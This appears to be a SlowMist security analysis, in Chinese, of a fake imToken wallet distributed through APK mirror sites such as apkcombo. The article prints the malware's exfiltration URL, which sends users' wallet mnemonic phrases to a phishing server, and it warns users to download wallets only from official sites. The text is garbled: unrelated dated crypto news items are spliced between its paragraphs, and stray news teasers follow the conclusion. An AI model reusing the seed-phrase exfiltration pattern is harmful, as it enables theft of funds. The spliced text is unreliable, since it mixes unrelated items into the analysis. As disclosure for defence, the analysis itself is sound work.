慢雾安全团队建议使用钱包、交易所时请认准官方下载渠道并从多方进行验证。
原文:https://foresightnews.pro/article/h5Detail/31716
作者:山&耀
转自:ForesightNews
背景
基于区块链技术的Web3正在驱动下一代技术革命,越来越多的人开始参与到这场加密浪潮中,但Web3与Web2是两个截然不同的世界。Web3世界是一个充满着各种各样的机遇以及危险的黑暗森林,身处Web3世界中,钱包则是进入Web3世界的入口以及通行证。
当你通过钱包在Web3世界中探索体验诸多的区块链相关应用和网站的过程中,你会发现在一条公链上每个应用都是使用钱包「登录」;这与我们传统意义上的「登录」不同,在Web2世界中,每个应用之间的账户不全是互通的。但在Web3的世界中,所有应用都是统一使用钱包去进行「登录」,我们可以看到「登录」钱包时显示的不是「LoginwithWallet」,取而代之的是「ConnectWallet」。而钱包是你在Web3世界中的唯一通行证。
迪拜多种商品交易中心与Web3公司TDeFi合作推出第二期加速器计划:金色财经报道,迪拜多种商品交易中心(DMCC)与Web3孵化器和咨询公司TDeFi合作,共同筹划DMCC Crypto Centre Web3创业孵化器的第二期启动。
金色财经此前报道,迪拜多种商品交易中心与Web3公司TDeFi合作推出新的加速器计划[2023/9/1 13:11:27]
俗话说高楼之下必有阴影,在如此火热的Web3世界里,钱包作为入口级应用,自然也被黑灰产业链盯上。
在Android环境下,由于很多手机不支持GooglePlay或者因为网络问题,很多人会从其他途径下载GooglePlay的应用,比如:apkcombo、apkpure等第三方下载站,这些站点往往标榜自己App是从GooglePlay镜像下载的,但是其真实安全性如何呢?
全球Web3风险投资额连续第七个季度下降:金色财经报道,根据Crunchbase Web3 Tracker的数据,全球Web3加密初创公司的融资额连续第七个季度下降,第三季度的融资额可能将大幅低于第二季度的19 亿美元。第二季度的数据相对稳定,加密初创公司筹集的资金仅略低于第一季度的 20 亿美元。
而当前季度的情况将更加不稳定。 三季度初至今,web3的风险投资总额达4.127亿美元,如果情况没有改善,到 9 月底,这一数字将仅达到约12亿美元左右。[2023/7/29 16:05:16]
网站分析
鉴于下载途径众多,我们今天以apkcombo为例看看,apkcombo是一个第三方应用市场,它提供的应用据官方说大部分来源于其他正规应用商店,但事实是否真如官方所说呢?
Shopify和Thirdweb联合推出能够构建支持Web3的电子商务应用程序:金色财经报道,电子商务公司Shopify和 Web3 基础设施协议 Thirdweb 将共同推出一个工具包,使开发人员能够构建支持 Web3 的电子商务应用程序。这个工具被称为“CommerceKit”,它使开发人员和商家可以更轻松地将 Web3 功能集成到他们的在线商店和网站中。
因此,店主将能够改进他们的电子商务应用程序。例如,他们可以使用该工具来集成基于 NFT 的数字收藏品,从而获得独家代币门禁项目或链上忠诚度计划。[2023/3/9 12:50:55]
我们先看下apkcombo的流量有多大:
据数据统计站点similarweb统计,apkcombo站点:
Vogue Singapore推出Web3时尚社区:9月19日消息,Vogue Singapore已于9月5日推出Web3时尚社区Vogue Singapore’s New World。据悉,中国超模张丽娜成为新加坡版Vogue杂志九月刊封面人物。
Vogue Singapore董事总经理Natasha Damodaran表示,该平台允许其社区与各种类型的内容和图像进行交互。“Vogue Singapore的New World目前允许用户探索一个超现实主义风格的领域,其中包含Vogue 2022年9月封面明星兼超模张丽娜的欢迎视频。用户还可以体验由艺术家Terry Gates制作的AI美拍作品Bio RESONANCE,以及北京设计师Yimeng Yu专为Vogue Singapore打造的数字时装。”
Damodaran解释称,Vogue的元宇宙由Spatial.io提供支持,后者是专门研究3D空间的元宇宙平台。虚拟空间由专注于NFT的机构Polycount.io设计。 (Cointelegraph)[2022/9/20 7:07:09]
全球排名:1,809国家排名:7,370品类排名:168我们可以看到它的影响力和流量都非常大。它默认提供了一款chromeAPK下载插件,我们发现这款插件的用户数达到了10W:
Web3时尚解决方案提供商Bold Metrics完成800万美元A轮融资:金色财经报道,旧金山Web3时尚解决方案提供商Bold Metrics宣布完成了一笔800万美元的A轮融资,Bessemer Venture Partners领投,Lytical Ventures、ValueStream Ventures 和 Nanban Ventures 参投,截止目前该公司融资总金额已达1230万美元。Bold Metrics开发了一种名为“Body Data NFT?”创新技术,使其能够与 Coinbase 和 Metamask 等 Web3 原生以太坊钱包一起使用,为购物者在线上、线下、以及元宇宙中购买衣服提供简化体验,同时也能为服装品牌提供Web3服务和技术支持。该公司已与多个时尚品牌达成合作,包括 Canada Goose、Tailored Brands(Men's Wearhouse、Jos A Bank)、SuitShop、Blue Delta Denim、UpWest 和 SIMMS 等。(finsmes)[2022/5/27 3:45:05]
那么回到我们关注的Web3领域中钱包方向,用户如果从这里下载的钱包应用安全性如何?我们拿知名的imToken钱包为例,其GooglePlay的正规下载途径为:https://play.google.com/store/apps/details?id=im.token.app
由于很多手机不支持GooglePlay或者因为网络问题,很多人会从这里下载GooglePlay的应用。而apkcombo镜像站的下载路径为:https://apkcombo.com/downloader/#package=im.token.app
上图我们可以发现,apkcombo提供的版本为24.9.11,经由imToken确认后,这是一个并不存在的版本!证实这是目前市面上假imToken钱包最多的一个版本。
在编写本文时imToken钱包的最新版本为2.11.3,此款钱包的版本号很高,显然是为了伪装成一个最新版本而设置的。
如下图,我们在apkcombo上发现,此假钱包版本显示下载量较大,此处的下载量应该是爬取的GooglePlay的下载量信息,安全起见,我们觉得有必要披露这个恶意App的来源,防止更多的人下载到此款假钱包。
同时我们发现类似的下载站还有如:uptodown下载地址:https://imtoken.br.uptodown.com/android
我们发现uptodown任意注册即可发布App,这导致钓鱼的成本变得极低:
钱包分析
在之前我们已经分析过不少假钱包的案例,如:2021-11-24我们披露:《慢雾:假钱包App已致上万人被盗,损失高达十三亿美元》,所以在此不再赘述。
我们仅对apkcombo提供版本为24.9.11这款假钱包进行分析,在开始界面创建钱包或导入钱包助记词时,虚假钱包会将助记词等信息发送到钓鱼网站的服务端去,如下图:
根据逆向APK代码和实际分析流量包发现,助记词发送方式:
https://api.funnel.rocks/api/trust?aid=10&wt=1&os=1&key=<助记词>
看下图,最早的「api.funnel.rocks」证书出现在2022-06-03,也就是攻击开始的大概时间:
俗话说一图胜千言,最后我们画一个流程图:
总结
目前这种局活动不仅活跃,甚至有扩大范围的趋势,每天都有新的受害者受。用户作为安全体系最薄弱的环节,应时刻保持怀疑之心,增强安全意识与风险意识,当你使用钱包、交易所时请认准官方下载渠道并从多方进行验证;如果你的钱包从上述镜像站下载,请第一时间转移资产并卸载该软件,必要时可通过官方验证通道核实。
同时,如需使用钱包,请务必认准以下主流钱包App官方网址:
imToken钱包:https://token.im/TokenPocket钱包:https://www.tokenpocket.pro/TronLink钱包:https://www.tronlink.org/比特派钱包:https://bitpie.com/MetaMask钱包:https://metamask.io/TrustWallet:https://trustwallet.com/请持续关注慢雾安全团队,更多Web3安全风险分析与告警正在路上。
致谢:感谢在溯源过程中imToken官方提供的验证支持。
由于保密性和隐私性,本文只是冰山一角。慢雾在此建议,用户需加强对安全知识的了解,进一步强化甄别网络钓鱼攻击的能力等,避免遭遇此类攻击。更多的安全知识建议阅读慢雾出品的《区块链黑暗森林自救手册》。
?
比特币爱好者和投资者兴奋不已,因为世界上最著名的加密货币在短短24小时内飙升了4%。比特币价格的突然上涨让许多人猜测推动这种上涨的因素,而其他人则争先恐后地了解市场动态.
原文作者:ZachXBT,链上侦探原文编译:Felix,PANews最近几周,不少KOL纷纷称赞美国知名说唱歌手Souljaboy的新NFT项目,希望借此扩大影响力.
亲爱的Gate.io用户:2023年4月17日至2023年4月23日期间,GateLive主播专享直播返佣收益已结算,发放奖励已以USDT的形式发放到各主播现货账户,请注意查收.
加密货币市场在过去24小时内遭受重创,Injective(INJ)暴跌超过12%,BTC跌至27,000美元。周末看到加密货币市场继续进行更广泛的调整,大多数项目未能进行任何形式的复苏.
进裙关注公中呺:全因素热爱市场出现小幅反弹,从时间节点上看,大概率是受微软,谷歌超出市场预期的财报影响,微软盘后大涨8%,纳指期货也出现直线拉升除此之外,加密市场也传出了一定好消息.
Flashbots发布了Mev-Share,标志着这一赛道走入新纪元。MEV收入预计在牛市中将贡献不少于70%的ETHStaking收入,这或许是下一个LSD级别的赛道.